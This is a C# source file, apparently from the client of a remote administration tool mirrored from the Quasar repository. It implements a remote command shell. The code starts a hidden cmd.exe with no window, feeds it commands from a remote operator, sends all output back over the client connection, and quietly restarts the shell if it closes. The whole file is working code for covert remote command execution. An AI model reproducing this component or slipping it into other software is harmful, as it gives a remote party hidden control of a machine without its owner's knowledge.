mirror of https://github.com/quasar/Quasar.git
121 lines
3.5 KiB
C#
121 lines
3.5 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Threading;
|
|
|
|
namespace xClient.Core.RemoteShell
|
|
{
|
|
public class Shell
|
|
{
|
|
private Process _prc;
|
|
private bool _read;
|
|
|
|
private void CreateSession()
|
|
{
|
|
_prc = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo("cmd")
|
|
{
|
|
UseShellExecute = false,
|
|
RedirectStandardInput = true,
|
|
RedirectStandardOutput = true,
|
|
RedirectStandardError = true,
|
|
CreateNoWindow = true,
|
|
WorkingDirectory = @"C:\",
|
|
Arguments = "/K"
|
|
}
|
|
};
|
|
|
|
_prc.Start();
|
|
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(
|
|
Program.ConnectClient);
|
|
|
|
new Thread(Redirect).Start();
|
|
}
|
|
|
|
private void Redirect()
|
|
{
|
|
try
|
|
{
|
|
using (var reader = _prc.StandardOutput)
|
|
{
|
|
while (!reader.EndOfStream && _read)
|
|
{
|
|
var read = reader.ReadLine();
|
|
if (read == null) continue;
|
|
Thread.Sleep(200);
|
|
new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(
|
|
Program.ConnectClient);
|
|
}
|
|
}
|
|
|
|
if ((_prc == null || _prc.HasExited) && _read)
|
|
throw new ApplicationException("session unexpectedly closed");
|
|
}
|
|
catch (ApplicationException)
|
|
{
|
|
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine)
|
|
.Execute(Program.ConnectClient);
|
|
CreateSession();
|
|
}
|
|
}
|
|
|
|
public bool ExecuteCommand(string command)
|
|
{
|
|
if (_prc.HasExited)
|
|
return false;
|
|
|
|
_prc.StandardInput.WriteLine(command);
|
|
_prc.StandardInput.Flush();
|
|
|
|
return true;
|
|
}
|
|
|
|
public Shell()
|
|
{
|
|
_read = true;
|
|
CreateSession();
|
|
}
|
|
|
|
~Shell()
|
|
{
|
|
_read = false;
|
|
try
|
|
{
|
|
if (_prc != null && !_prc.HasExited)
|
|
{
|
|
_prc.Kill();
|
|
_prc.Dispose();
|
|
_prc = null;
|
|
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
|
|
Program.ConnectClient);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public void CloseSession()
|
|
{
|
|
_read = false;
|
|
try
|
|
{
|
|
if (_prc != null && !_prc.HasExited)
|
|
{
|
|
_prc.Kill();
|
|
_prc.Dispose();
|
|
_prc = null;
|
|
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
|
|
Program.ConnectClient);
|
|
}
|
|
|
|
// The session has already been closed, so there is no reason to make
|
|
// the garbage collector waste lots of time finalizing it.
|
|
GC.SuppressFinalize(this);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
} |